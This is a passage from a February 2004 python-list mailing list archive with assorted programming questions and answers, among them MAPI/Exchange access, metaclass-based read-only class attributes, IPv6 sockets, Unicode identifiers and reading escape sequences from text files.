Date: Wed, 18 Feb 2004 04:55:30 -0800
Subject: mailing list problems?
In-Reply-To: <20040217093626.GA3162@nl.linux.org>
References: <20040214221839.GA22649@nl.linux.org>
	<c0o5ht$uvk$1@sea.gmane.org>	<DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>	<200402162153.37084.tim.jarman@lineone.net>
	<20040217093626.GA3162@nl.linux.org>
Message-ID: <403360C2.30207@prescod.net>

I think that there are still problems. I don't believe I ever saw this post:

http://mail.python.org/pipermail/python-list/2004-February/207714.html

Gerrit, do you see the same problem?

(Barry: who watches the watcher?)

  Paul





From phil.hornby at accutest.co.uk  Tue Feb  3 02:17:21 2004
From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Tue, 3 Feb 2004 07:17:21 -0000
Subject: javadoc for python
In-Reply-To: <401f0ace$1_1@newspeer2.tds.net>
Message-ID: <NFBBIBBEGKCGCEGNDLKGOELGDNAA.phil.hornby@accutest.co.uk>

Olaf,

Have you tried looking at Doxygen (http://www.stack.nl/~dimitri/doxygen/) It
is a tool aimed at C/C++/C# but it can have a filter applied to it to
produce C++ stubs that represent Python code. To get a decent output you
must comment it in a specific manner - like with javadocs.

There is a filter by a guy called Matthias Baas that does this to a limited
extent (http://i31www.ira.uka.de/~baas/pydoxy/) although he is considering
re-writing this filter to do more. At present it is based on tokenize and he
is thinking of moving to use parser.

HTH

--
Phil Hornby
Accutest Ltd.
(01457) 891121
mailto::phil.hornby at accutest.co.uk

> I played a little with happydoc and pydoc and wonder which one I should
use.
>
> Also, is there a better documentation general available (I am spoiled by
> javadoc).
>
> Lastly, I could not find good documentation for either happydoc or pydoc.
> Thanks.




From sax at csmisc72.cs.chalmers.se  Wed Feb 18 09:32:09 2004
From: sax at csmisc72.cs.chalmers.se (Stefan Axelsson)
Date: 18 Feb 2004 14:32:09 GMT
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
	<403280F4.C16FD379@alcyone.com>
Message-ID: <slrnc36tr9.2ho.sax@csmisc72.cs.chalmers.se>

In article <403280F4.C16FD379 at alcyone.com>, Erik Max Francis wrote:
> It's also analogous to the way do...while structures are written in
> other languages, as well, so it lends familiarity by import.

Which I think is the problem. Python has generators/iterators, which
work very well with the 'for' loop.

Thus the ugliness of e.g:

>while True:
>    line=infile.readline()
>    if line == '':
>        break

is an excellent opportunity to introduce generators/iterators in
general (and the built in iterator of files in particular):

>for line in infile:
>    # do stuff


Stefan,
-- 
Stefan Axelsson                  (email at http://www.cs.chalmers.se/~sax)


From nospam-deets at web.de  Tue Feb 17 09:55:13 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Tue, 17 Feb 2004 15:55:13 +0100
Subject: Comm Port support in Python ?
References: <zqpYb.47101$Bb.750778@twister.tampabay.rr.com>
Message-ID: <c0ta54$1acihd$1@ID-111250.news.uni-berlin.de>

> Does Python have comm port support built in or does someone have a tool
> for sending and receiving data in & out of a PC com port?

It has - as extra module called pyserial, you can get it from sf. It
supports *NIX, Windows and via special classes even JAVA/Jython.

If it supports mac I have no idea, but I guess OS X _could_ work, as its
*NIX-flavoured...

-- 
Regards,

Diez B. Roggisch


From mhammond at skippinet.com.au  Fri Feb 13 16:44:06 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Sat, 14 Feb 2004 08:44:06 +1100
Subject: Python and MS Exchange
In-Reply-To: <68fec02e.0402130818.48132268@posting.google.com>
References: <mailman.12.1076608969.698.python-list@python.org>
	<c0gt44$o7j$1@arachne.labyrinth.net.au>
	<68fec02e.0402130818.48132268@posting.google.com>
Message-ID: <c0jgfe$1acp$1@arachne.labyrinth.net.au>

Greg Lindstrom wrote:
>>Can you tell us what object model you are using?  Provide a little 
>>sample code to give us a clue.
> 
> 
> Sure thing.
> 
> from win32all.client import Dispatch
> 
> mailbox = Dispatch("MAPI.session")
> mailbox.Login(profile='MS Exchange Settings')

OK - you are using 'simple MAPI', and this is going to be a problem for 
you down the track.  The biggest one will be the security dialog new 
versions Outlook use.

This *is* an OK way to start, but don't go too far down this track - it 
is a dead end.  On the positive side, it is possible to combine this 
'simple MAPI' with 'extended MAPI' (the latter is what SpamBayes uses)

Simple MAPI is also known as "CDO"

 > mailbox = Dispatch("MAPI.session")

Note that what you have here is a 'session' object.  Looking in the MSDN 
documentation for the CDO session object, there is no 'listfolders' method.

What you probably want is something like:
session = Dispatch("MAPI.session")
session.Logon(...)
inbox = session.Inbox
print "Inbox name is", inbox.Name
for i in range(inbox.Messages.Count):
   message = inbox.Messages.Item(i+1)
   # now 'message' has properties like 'Subject' etc

See the CDO documentation for more details.

Mark.



From js at jeannot.org  Sat Feb 28 21:05:48 2004
From: js at jeannot.org (Jean-Sebastien Roy)
Date: Sun, 29 Feb 2004 03:05:48 +0100
Subject: Identity dictionnary
Message-ID: <js-665C5B.03054329022004@biggoron.nerim.net>

Hi !

I'm trying to create an object to be used as a key in a dictionary, 
where comparison (for key retrieval) would be done by 'is' instead of 
__eq__.
(__eq__ is defined in this object, but serve another purpose and does 
not return a boolean).

Is defining __hash__ as id(self) sufficient to guarantee that __eq__ 
will never be called by the dict implementation ? (it seems to work in 
practice)
If not, how to ensure __eq__ will never be called ?

Thank you very much in advance !

Regards,

js


From jmeile at hotmail.com  Fri Feb 27 03:54:27 2004
From: jmeile at hotmail.com (Josef Meile)
Date: Fri, 27 Feb 2004 09:54:27 +0100
Subject: INFORMIX & Python/ZOPE
In-Reply-To: <92c875f.0402260100.3827ce05@posting.google.com>
References: <92c875f.0402170828.46efe605@posting.google.com>
	<40350a45$1@pfaff2.ethz.ch>
	<92c875f.0402260100.3827ce05@posting.google.com>
Message-ID: <403f05a2$1@pfaff2.ethz.ch>

webmaster at ac-strasbourg.fr wrote:
> I'd love to post a traceback, but I can't because my ZOPE instance
> "freezes" and is unable to log anything, I have to kill it.
Did you activate the external log of zope? If not, I think there is
a help file under %YourZope/Doc, which says how to activate it.



From Srikanth.Mandava at cosinecom.com  Wed Feb 18 22:21:34 2004
From: Srikanth.Mandava at cosinecom.com (Srikanth Mandava)
Date: Wed, 18 Feb 2004 19:21:34 -0800
Subject: getattr
Message-ID: <C7A78812AA9B5B4987B37EBB4E9375742073AC@exchsrv-eng.eng.cosinecom.com>

Hi,

How can getattr() be used to call a constructor method?

Thanks
Srikanth
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From http  Tue Feb 10 13:55:22 2004
From: http (Paul Rubin)
Date: 10 Feb 2004 10:55:22 -0800
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
	<mailman.1412.1076421016.12720.python-list@python.org>
Message-ID: <7x8yjasr1h.fsf@ruckus.brouhaha.com>

Bill Scherer <Bill.Scherer at verizonwireless.com> writes:
> >The data get written to files or sockets, so no GUI needed.
> >
> Writing to files could slow you down a lot, depending on how much
> needs to be written, how fast your disks are,  how you go about
> getting the data from the async client to the file, etc..  Much of the
> same goes for sockets, too.

That's a good point, you should put everything into one file serially,
then sort it afterwards to separate out data from individual
connections.


From newsgroups at jhrothjr.com  Fri Feb 20 18:51:50 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Fri, 20 Feb 2004 18:51:50 -0500
Subject: AOP and metaclasses
References: <9b5b9c27.0402200655.24b91718@posting.google.com>
Message-ID: <103d7et58njmd14@news.supernews.com>

"Santiago Aguiar" <santi at netlabs.com.uy> wrote in message
news:9b5b9c27.0402200655.24b91718 at posting.google.com...
> Im trying to use AOP techniques on python but, even if I understand
> the idea behind metaclasses, I cant find a way to use AOP in a dynamic
> way.
>
> What im trying to do is to weave an aspect to a class at runtime, but
> i don't want to include any special code or definition in the class
> itself. Also, i want to do
> it just for some particular classes. Is there any way to do this?
>
> I know its possible to apply an aspect to all the classes by
> redefining __metaclass__, and that I can do the same with a single
> class by assigning to __metaclass__ inside the class definition.
> However, I want to avoid the last step, so i can apply the aspect to
> any class.
>
> thanks!!
>
> saludos! santiago.

I believe there is at least one AOP project out there somewhere.
I don't think you want to use metaclasses, though. If I wanted
to do that, I'd look at using descriptors, and installing them at
run time when I found I wanted to do the cut.

However, I'm not a big fan of AOP. I got my taste of intercepting
someone else's entry points in the '70s when I was hacking MVS.

John Roth




From robin at wiretooth.com  Sat Feb 21 11:35:23 2004
From: robin at wiretooth.com (robin bryce)
Date: Sat, 21 Feb 2004 16:35:23 +0000
Subject: Tkinter: Clipping a canvas text item
In-Reply-To: <c17ls5$hmr$04$1@news.t-online.com>
References: <c17ls5$hmr$04$1@news.t-online.com>
Message-ID: <1077381323.5922.158.camel@localhost.localdomain>

oops. wrong thread. apologies.

On Sat, 2004-02-21 at 13:19, Peter Otten wrote:
> Is there a way to limit both width and height of a canvas text item?
> My current workaround seems clumsy:
> 
> import Tkinter as tk
> root = tk.Tk()
> canvas = tk.Canvas(root, width=400, height=200, bg="white")
> canvas.pack()
> 
> # simulate a clipped text item - never transparent :-(
> s = "The long and winding road.."
> lbl = tk.Label(root, text=s, anchor=tk.W, bg=canvas["bg"])
> canvas.create_window(50, 80, width=100, height=20,
>     window=lbl,
>     anchor=tk.NW)
> 
> root.mainloop()
> 
> Thanks,
> Peter




From timr at probo.com  Thu Feb 19 02:49:10 2004
From: timr at probo.com (Tim Roberts)
Date: Wed, 18 Feb 2004 23:49:10 -0800
Subject: Converting binaty to ascii
References: <mailman.103.1077104625.31398.python-list@python.org>
Message-ID: <tgq830pa5nqgchj73s27prlf7gnbafd7d6@4ax.com>

Angelo Secchi <secchi at sssup.it> wrote:
>
>Any suggestions on what is the right approach to solve the problem of
>converting a database in binary format to an ASCII format?

That's not nearly enough information.  What kind of database?  Some
proprietary thing, or something more-or-less standard?  Does it have
fields?  Can you describe them?  What do you want the resulting file to
looks like?

Give us details and I'm sure someone will be happy to help you with this.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From http  Thu Feb 26 17:24:01 2004
From: http (Paul Rubin)
Date: 26 Feb 2004 14:24:01 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
Message-ID: <7xd6814gzi.fsf@ruckus.brouhaha.com>

"Mikey At Work" <itsmikeytime at yahooNOSPAM.com> writes:
> Does anyone know of any HTTPS servers available that are totally
> written in Python?  Thanks.

That depends on what you mean by "pure".  You can do it with the various
OpenSSL Python bindings that have been written.  I don't think anyone
has ever written a complete SSL stack in Python.  I've toyed with the
idea but it would be a lot of work.


From john.burton at jbmail.com  Mon Feb 16 15:52:15 2004
From: john.burton at jbmail.com (John Burton)
Date: Mon, 16 Feb 2004 20:52:15 -0000
Subject: IPv6 question
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
	<c0oc6j$592$01$1@news.t-online.com>
	<hjq4g1-1c1.ln1@neon.jbmail.com>
	<c0oiqv$knm$00$1@news.t-online.com>
Message-ID: <t6n7g1-oj4.ln1@neon.jbmail.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message
news:c0oiqv$knm$00$1 at news.t-online.com...
> John Burton wrote:
> > I've got a horrible feeling it doesn't work like this on windows though
> > (my python build on windows doesn't seem to support ipv6 so I can't
> > try it)
>
> If you want to try IPv6 support on Windows, you can use a Python 2.4
> snapshot I built, at
>
> http://www.dcl.hpi.uni-potsdam.de/home/loewis/python2.4.0.12421.msi

Thanks for this it seems to work well.
It does seem that on windows you need to bind different sockets to the same
address,
one for IPv4 and one for IPv6 whereas on linux the IPv6 socket will receive
connections to both.

I suppose that's not a big problem but a shame.




From __peter__ at web.de  Sun Feb  1 11:53:34 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 01 Feb 2004 17:53:34 +0100
Subject: howto prevent class variable assignment
References: <bvj1do$1av$1@news.rz.uni-karlsruhe.de>
Message-ID: <bvjaue$ivo$01$1@news.t-online.com>

Uwe Mayer wrote:

> when an instance variable of a class is not found, python tries to fall
> back to the class variable.
> I want to use that feature to provide default settings for a class which
> can be overwritten by assignments to variables with the same name.
> 
> This quickly becomes difficult to handle when you get confused wether your
> assignment was made to a class variable or an instance variable. I
> therefore want to prevent write access to class variables. How do I do

The sane way would be to copy mutable defaults in __init__().

> that?
> 
> Here some example code:
> 
>>>> class A(object):
> ...   cInt = 5
> ...   cList = [1,2,3]
> ...   def __init__(self):
> ...     self.cInt = 6
> ...
>>>> a = A()
>>>> a.cInt
> 6
>>>> a.__class__.cInt
> 5
> 
>>>> a.cList[2] = 5   #<-- prevent this

I fear this is *hard* as you are just changing an instance of a mutable
class. Maybe you could write a general readonly wrapper?

>>>> a.cList
> [1, 2, 5]
> 
>>>> a.cInt = 42       #<-- allow this
>>>> a.cInt
> 42
>>>> a.__class__.cInt
> 5
> 
>>>>A.cInt = 10       #<-- prevent this
> 
> I tried to overwrite __setattr__(self, name, value) method, but this is
> only called if I call it on an instance, i.e.
> 
>>>> a.cInt = 5
> 
> but not when I call it on the class:
> 
>>>> A.cInt = 10
> 
> 
> Can anyone give me some pointers or suggentions how to handle this?

A is an instance of its metaclass, so you have to devise a way to prevent
write access for metaclass instances.

Below is an example that uses the "sealed" attribute to prevent further
write access when you are done defining the class:

>>> class Type(type):
...     def __setattr__(self, name, value):
...             if hasattr(self, "sealed"):
...                     raise Exception("Attempt to set class att                                 
ribute")
...             type.__setattr__(self, name, value)
...
>>> class Test:
...     __metaclass__ = Type
...     x = 123
...     y = 456
...
>>> Test.x = 111
>>> Test.sealed = True # class attributes can no longer be rebound (m?s o
menos)
>>> Test.x = 222
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 4, in __setattr__
Exception: Attempt to set class attribute
>>> t = Test()
>>> t.x = 789 # instance attributes behave just normal
>>>

Again, this will not prevent changing a mutable instance, e. g. setting a
list item. Your time is probably better spend on writing a good test suite
for your app.

Peter





From tkpmep at hotmail.com  Sat Feb 28 18:32:09 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 28 Feb 2004 15:32:09 -0800
Subject: Reading newlines from a text file
References: <b4a8ffb6.0402281000.606425e2@posting.google.com>
	<c1qrn4$8vq$07$1@news.t-online.com>
Message-ID: <b4a8ffb6.0402281532.71291f95@posting.google.com>

Peter,
|
Very neat. That is exactly what I want it to do. On looking through
the help for open() (or its replacement, file()), I did not see a
reference to a "string_escape" option. Where is this documented (in
language comprehensible to a newbie)?

Also, I notice that you have two backslashes before each n in
"\\ntoerichte\\nlogik\\nboeser\\nkobold\n". Why is there a need for 2
backslashes -would not one have done the trick?


Thomas Philips


From cedgmon at shaw.ca  Sat Feb 28 18:54:21 2004
From: cedgmon at shaw.ca (Craig Edgmon)
Date: Sat, 28 Feb 2004 15:54:21 -0800
Subject: Book Sale
Message-ID: <1078012461.9330.4.camel@shrek>

Sorry to spread this anouncement this way, but I thought for some of us
newbies it would be a good plug.

I was in buying some of the standard Python books at Half Priced Books
in Burnaby BC over on Loheed and I was informed that they will have a
sale on yellow tagged items all next month. Here is how it works: You
give them $20 (can) and they give you a fairly big box. However many
yellow tagged books you can stick in the box you can keep. I do not know
if it is in every location and if there will be many python books, but
they open at 9:30 am and I will be the tall dorky guy with glasses and a
leather jacket.

Hope this is of some help.




From exarkun at intarweb.us  Wed Feb 11 14:24:51 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 11 Feb 2004 14:24:51 -0500
Subject: tkinter, threads and asyncore together
In-Reply-To: <402A7E7D.C423D056@noaa.gov>
References: <402A7E7D.C423D056@noaa.gov>
Message-ID: <20040211192451.GA7868@intarweb.us>

On Wed, Feb 11, 2004 at 07:11:58PM +0000, george.trojan at noaa.gov wrote:
> My application consists of Tkinter GUI that has to communicate with a
> remote
> server. The communication is bi-directional: the GUI responds to remote
> requests and user actions uch as pressing a button) should send messages
> 
> to the server. I want to have the network interface implemented as a
> separate
> thread, as it may take a while to proccess incoming messages. My initial
> approach is the following
> 
>  ------   Queue   --------------------
> |      | <------ |      asyncore      |        socket
> | GUI  |    ?    |dispatcher_with_send| <------------------>  server
> |      | ------> |                    |
>  ------           --------------------
> 
> My question is how to communicate with asyncore (to send a message, or
> end the thread)? I started with creating an additional dispatcher class
> using unix domain socket, but is seems wrong, why use sockets within the
> same process? I might try file_dispatcher around a pipe, but maybe I
> should use different design altogether.

  You need something selectable to wake asyncore up from its call to
select().  The easiest way to do this is with a pipe.  You don't have to
send any actual message over the pipe, though; one byte will be enough to
get asyncore to call back into your code, then you can retrieve the message
from wherever it is (eg, in a Queue.Queue).

  Jp




From virus.manager at st.com  Thu Feb  5 12:20:04 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Thu, 05 Feb 2004 17:20:04 -0000
Subject: Virus Alert
Message-ID: <20040205172004.8C8D4F383@zeta.dmz-eu.st.com>

The mail message (file: jdines.pif) you sent to <anna at yahoo.com> contains a virus. (on zeta)



From jdhunter at ace.bsd.uchicago.edu  Wed Feb 25 11:12:15 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Wed, 25 Feb 2004 10:12:15 -0600
Subject: test for raw string
Message-ID: <m2k72b16lc.fsf@mother.paradise.lost>


I have a function that takes a string as an argument.  Is there a way
to test whether the caller of this function passed in a raw string

def func(s):
    if israw(s): do_x()
    else: do_y()

func(r'\hi mom')  # do_x
func('hi mom')    # do_y

Thanks,
John Hunter



From bluexcell at aol.com  Mon Feb 23 17:58:09 2004
From: bluexcell at aol.com (Bluexcell)
Date: 23 Feb 2004 22:58:09 GMT
Subject: Iptscrae to Python help wanted.
Message-ID: <20040223175809.20326.00000253@mb-m04.aol.com>

I want to create the Python equivalent of an endless loop  that i use in
Iptscrae:

In Iptscrae one creates a dummy spotstate loop  and places the calls to
routines inside that.. like this:

ON ENTER 
{ 

0 ME SETALARM
} 
 ON ALARM 
{ {  0 ME SETSPOTSTATELOCAL } 
{ ME GETSPOTSTATE 0 + ME 
SETSPOTSTATELOCAL } 
ME GETSPOTSTATE 0  > IFELSE

myroutine EXEC
mynext routine EXEC
; etc
0 ME SETALARM

can anyone suggest the Python equivalent?

mailto:incony at incony.org

regards Incony



From dietrich at zdome.net  Wed Feb 11 18:38:50 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Wed, 11 Feb 2004 15:38:50 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <4029177e$1@nntp0.pdx.net>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>
	<402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com> <4029177e$1@nntp0.pdx.net>
Message-ID: <71DFC036-5CEB-11D8-BF04-0003934ACDEC@zdome.net>


On Feb 10, 2004, at 8:59 AM, Scott David Daniels wrote:

> Also, we would have to solve the issue of multiple representations
> for the same identifier (normalized identifiers)?  There are four
> equivalent representations:
>
>     (u'\N{Latin small letter e with acute}l'
>                        u'\N{Latin small letter e with grave}ve')
>
>     (u'\N{Latin small letter e with acute}l'
>                        u'e\N{Combining grave accent}ve')
>
>     (u'e\N{Combining acute accent}l'
>                        u'\N{Latin small letter e with grave}ve')
>
>     (u'e\N{Combining acute accent}l'
>                        u'e\N{Combining grave accent}ve')
>
> Unicode says we should treat these four identically.  Further,
> they each have a distinct hash code, so a dictionary will not 
> necessarily even try to compare them to find them equal.

You could require that all identifiers be the canonically decomposed 
Unicode representations encoded into UTF-8.  This would mean that no 
matter which string is chosen from the above, the result is always the 
same sequence of characters.  This is how many filesystems use unicode, 
i.e., Mac HFS+ works this way (but filesystems usually also require a 
specific version of Unicode for backwards compatibility).

I personally think that Unicode identifiers would be catastrophic.  
With Unicode on the web, if you can't represent some characters, you 
can't read the web page.  With programming, it could mean that you are 
unable to use a particular module, altering the functionality for 
people who can't enter certain codes.  There is also the issue of which 
characters to allow, because some characters look like numbers.  Is 
unicode 'IV' a number or an identifier?  What about a circled 4?  What 
about unicode line breaks and paragraph breaks?  What about opening and 
closing quote marks?  What about right-to-left characters?  What about 
ligatures?  Non-breaking spaces?  Function application?

I think the assumption some people have is that Unicode will only ever 
be used for things that are like the roman alphabet: adding diacritical 
marks, etc.  It sounds like the most worthless extension ever, and the 
only language I think of when I think of special characters is 
Intercal. 
  




From phil.hornby at accutest.co.uk  Mon Feb  2 08:41:22 2004
From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Mon, 2 Feb 2004 13:41:22 -0000
Subject: Smarter way of doing this?
In-Reply-To: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
Message-ID: <NFBBIBBEGKCGCEGNDLKGMEKBDNAA.phil.hornby@accutest.co.uk>

Max,

Why not try something like:

prob_and_val = [[0.66,'item 1'],[0.33,'item 2'],[0.16,'item 3']]

Then access the probability of the first value

prob_and_val[0][0]

the second

prob_and_val[1][0]

and so on...

then you function 'choose_by_probability()'

could return the item instead of the index...

say like this for the first item

return prob_and_val[0][1]

could be called like below:

print choose_by_probability( prob_and_val )

HTH

--
Phil

"Requirements - what are they I just hack something together that does what
I think they want" ;)





From alx5962NOSPAM at yahoo.com  Tue Feb 17 05:20:35 2004
From: alx5962NOSPAM at yahoo.com (Alexandre)
Date: Tue, 17 Feb 2004 11:20:35 +0100
Subject: display available memory
Message-ID: <4031ea86$0$22496$626a14ce@news.free.fr>

Hi!
I'd like to display available memory using Python but I haven't found the
easy way to do it...
Any idea please?
Also I need a no specific OS function, as I plan to not only use it under
Windows.
Thanks

Alex




From tjreedy at udel.edu  Mon Feb 16 12:53:41 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 16 Feb 2004 12:53:41 -0500
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
	<wzisi7b9nj.fsf@cs.uu.nl>
Message-ID: <3OadnQovPKs4nqzdRVn-hQ@comcast.com>


"Piet van Oostrum" <piet at cs.uu.nl> wrote in message
news:wzisi7b9nj.fsf at cs.uu.nl...
> >>>>> Brian <pythonista_at_sbcglobal_dot_net at invalid.net> (B) wrote:
>
> >>>> print str(0.1)
> B> 0.1
>
> B> It's important to realize that this is, in a real sense, an illusion:
the
> B> value in the machine is not exactly 1/10, you're simply rounding the
> B> display of the true machine value."
>
> On the other hand, python could have done better.

Python gives you a choice between most exact and 'pleasant'.  This *is*
better, in my opinion, than no choice.

> There are algorithms to
> print floating point numbers properly with a more pleasant output[1]:
> in this particular case python could have given "0.1" also with "print
0.1".

What?  In 2.2:
>>> print 0.1
0.1

did this change in 2.3?

> Unfortunately most C libraries only use the stupid algorithm which often
> gives some useless digits.

They are not useless if you want more accuracy about what you have and what
you will get with further computation.  Tracking error expansion is an
important part of designing floating point calculations.

> This is because ideally it should print the representation with the least
> number of digits that when read back gives the same internal value as the
> number printed. In this case that is obviously "0.1".

This is opinion, not fact.  Opinions are divided.

Terry J. Reedy




From tkpmep at hotmail.com  Sat Feb 28 13:00:38 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 28 Feb 2004 10:00:38 -0800
Subject: Reading newlines from a text file
Message-ID: <b4a8ffb6.0402281000.606425e2@posting.google.com>

I have a data file that I read with readline(), and would like to
control the formats of the lines when they are printed. I have tried
inserting escape sequences into the data file, but am having trouble
getting them to work as I think they should. For example, if my data
file has only one line which reads:
1\n234\n567

I would like to read it with a command of the form
x=datafile.readline()

and I would like 
print x 

to give me
1
234
567

The readline works like a charm, but the print gives me
1\n234\n567
Clearly the linefeeds are not interpreted as such. How can I get the
Python interpreter to correctly interpret escape sequences in strings
that are read from files?

Thomas Philips


From __peter__ at web.de  Mon Feb 23 05:01:41 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Feb 2004 11:01:41 +0100
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
References: <282f826a.0402230152.253315ca@posting.google.com>
Message-ID: <c1cj25$tna$01$1@news.t-online.com>

Richard Shea wrote:

> So in summary - would anyone be kind enough to tell me, given that I'm
> using scanf style SQL subbing, how I can substitute in a comma
> delimited list of integers without quotes being put around things to
> upset the SQL ?

>>> numbers = (1,2,3,99)
>>> "(%s)" % ", ".join(map(str, numbers))
'(1, 2, 3, 99)'




From martin at v.loewis.de  Sat Feb 14 12:03:46 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2004 18:03:46 +0100
Subject: GIL on SMP (need quick answer for the boss :) - thanks!
In-Reply-To: <Wx6Xb.147590$cM1.26679258@twister.nyc.rr.com>
References: <Wx6Xb.147590$cM1.26679258@twister.nyc.rr.com>
Message-ID: <c0lkda$gq$06$1@news.t-online.com>

max khesin wrote:
> I have 3 questions:
> 
> 1) (this is the killer) - is GIL going to get me into trouble?

Define "trouble". You will not get in conflict with law enforcement
because of that Python code :-)

If you are asking "does it do what you think it does?", then "yes,
it does precisely what I think it does."

If you are asking "does it do what I think it does?", then "I
don't know, because I don't know what you are thinking".

> 2) any problems having multiple threads write to the log (the standard 
> Python logger). 

It should work fine.

> In general, is there an easy way to determine if a 
> particular Python lib is thread-safe, at least for the standard libs?

No. It starts with the lack of a clear definition of "thread-safe".
In most cases, if a library has what many people would consider a
serious problem, this problem has been either documented or fixed
by now.

OTOH, many libraries implemented in pure Python will act strangely
if two threads try to manipulate the same data structures. In many
cases, this is not considered a serious problem because one would
normally not attempt to use that data structure from two threads.

Regards,
Martin



From richie at entrian.com  Thu Feb 26 04:35:53 2004
From: richie at entrian.com (Richie Hindle)
Date: Thu, 26 Feb 2004 09:35:53 +0000
Subject: No Thoughts about Everything
In-Reply-To: <403DA7BB.6030009@fh-lausitz.de>
References: <403DA7BB.6030009@fh-lausitz.de>
Message-ID: <fuer30d9j1fh4k7l6ej6urd5odvrhfqme8@4ax.com>


[Bernhard]
> I found a solution for the simulation of access modifier "static final " 
> in python:
> 
> class Mytest:
>     LOGE_10=(2.302585092994046,)
>     #Klassenkonstante (static final) use a tuple :-)
>     #def __init__(self):
>         
>     def log10(self,x):
>         return(log(x)/LOGE_10[0])

*Please* don't start teaching that to Python beginners! <0.5 wink>

Apart from the horrible confusion it would cause, it doesn't even work:

>>> Mytest.LOGE_10=(2.0,)  # Near enough for engineers

Next you'll be asking for a preprocessor so that you can say:

#define LOGE_10 Mytest.LOGE_10[0]

8-)

-- 
Richie Hindle
richie at entrian.com




From tdelaney at avaya.com  Sun Feb 29 21:46:37 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Mon, 1 Mar 2004 13:46:37 +1100
Subject: Why Python?
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE013E65BB@au3010avexu1.global.avaya.com>

> From: Todd7
> 
> I am looking at learning Python, but I would like to know what its 
> strengths and weaknesses are before I invest much time in 
> learning it.  My 
> first thought is what is it good for programming, however I expect an 
> answer from the python newsgroup to be something like 
> "everything".  So 
> maybe a better question is what type of programming projects 
> is Python a 
> bad choice?
> 
> What makes it better or worse than languages like perl, php, 
> delphi, or 
> c++?

http://www.google.com.au/search?q=%22why+python

A couple of things that Python is not good for ...

1. Bondage and discipline programming. If your manager, tech lead, etc insists on static typing, you can't use Python.

2. Bare metal programming. However, Python + C extensions can be reasonable here, depending on how much of your program needs to be extremely low level.

Other than the above, I really haven't encountered any situations where python has not been a reasonable language choice.

Tim Delaney



From paul at prescod.net  Thu Feb  5 11:56:03 2004
From: paul at prescod.net (Paul Prescod)
Date: Thu, 05 Feb 2004 08:56:03 -0800
Subject: where does Python stand?
In-Reply-To: <d99e1341.0402050505.226a01c8@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>
Message-ID: <402275A3.7040904@prescod.net>

Ben wrote:

> Hi all!
> 
> I learned Python as part of my university coursework... I enjoyed it.
> Now I'm just wondering how Python compares with asp, jsp, php and what
> not?? I don't have slightest knowledge about these languages... Are
> they more advanced than Python? Can Python be integrated with
> Dreamweaver?

ASP, JSP and PHP are Web templating languages. You would use them to 
write the front-end of a website but not to write a video game, a 
program that calculates taxes, payroll software, etc. Python is a 
general purpose programming language.

Can python be integrated with Dreamweaver? It depends. What are you 
trying to accomplish? You would not (usually) code Python in DreamWeaver 
the way you might code ASP or JSP in DreamWeaver because Python code 
does not (usually) reside in Web pages or Web templates and Dreamweaver 
is a Web page design tool.

  Paul Prescod





From jgrahn-nntq at algonet.se  Sat Feb 14 05:55:41 2004
From: jgrahn-nntq at algonet.se (Jorgen Grahn)
Date: Sat, 14 Feb 2004 10:55:41 +0000 (UTC)
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<c0itcq$hno$1@news-reader1.wanadoo.fr>
	<3DcXb.493285$ts4.180737@pd7tw3no>
Message-ID: <slrnc2rvif.eoi.jgrahn-nntq@frailea.sa.invalid>

On Fri, 13 Feb 2004 22:57:03 GMT, Elaine Jackson <elainejackson7355 at home.com> wrote:
> "Eric Brunel" <eric.brunel at N0SP4M.com> wrote in message
> news:c0itcq$hno$1 at news-reader1.wanadoo.fr...
> 
> | If you don't already have it, download the source distribution of Python and
> go
> | to the Demo/tkinter/matt sub-directory. There are many examples here that you
> | can use to do what you want; see for example canvas-moving-w-mouse.py
> 
> I don't know where to obtain this. Searching python.org with the phrase 'python
> source distribution' turns up a bunch of stuff about using distutils.

Sometimes you cannot just search, you have to think as well.
http://www.python.org/download/ , near the top of the screen:

   http://www.python.org/ftp/python/2.3.3/Python-2.3.3.tgz

/Jorgen

-- 
  // Jorgen Grahn <jgrahn@      ''If All Men Were Brothers,
\X/                algonet.se>    Would You Let One Marry Your Sister?''


From fgeiger at datec.at  Fri Feb  6 05:48:01 2004
From: fgeiger at datec.at (F. GEIGER)
Date: Fri, 6 Feb 2004 11:48:01 +0100
Subject: __new__ to create copy
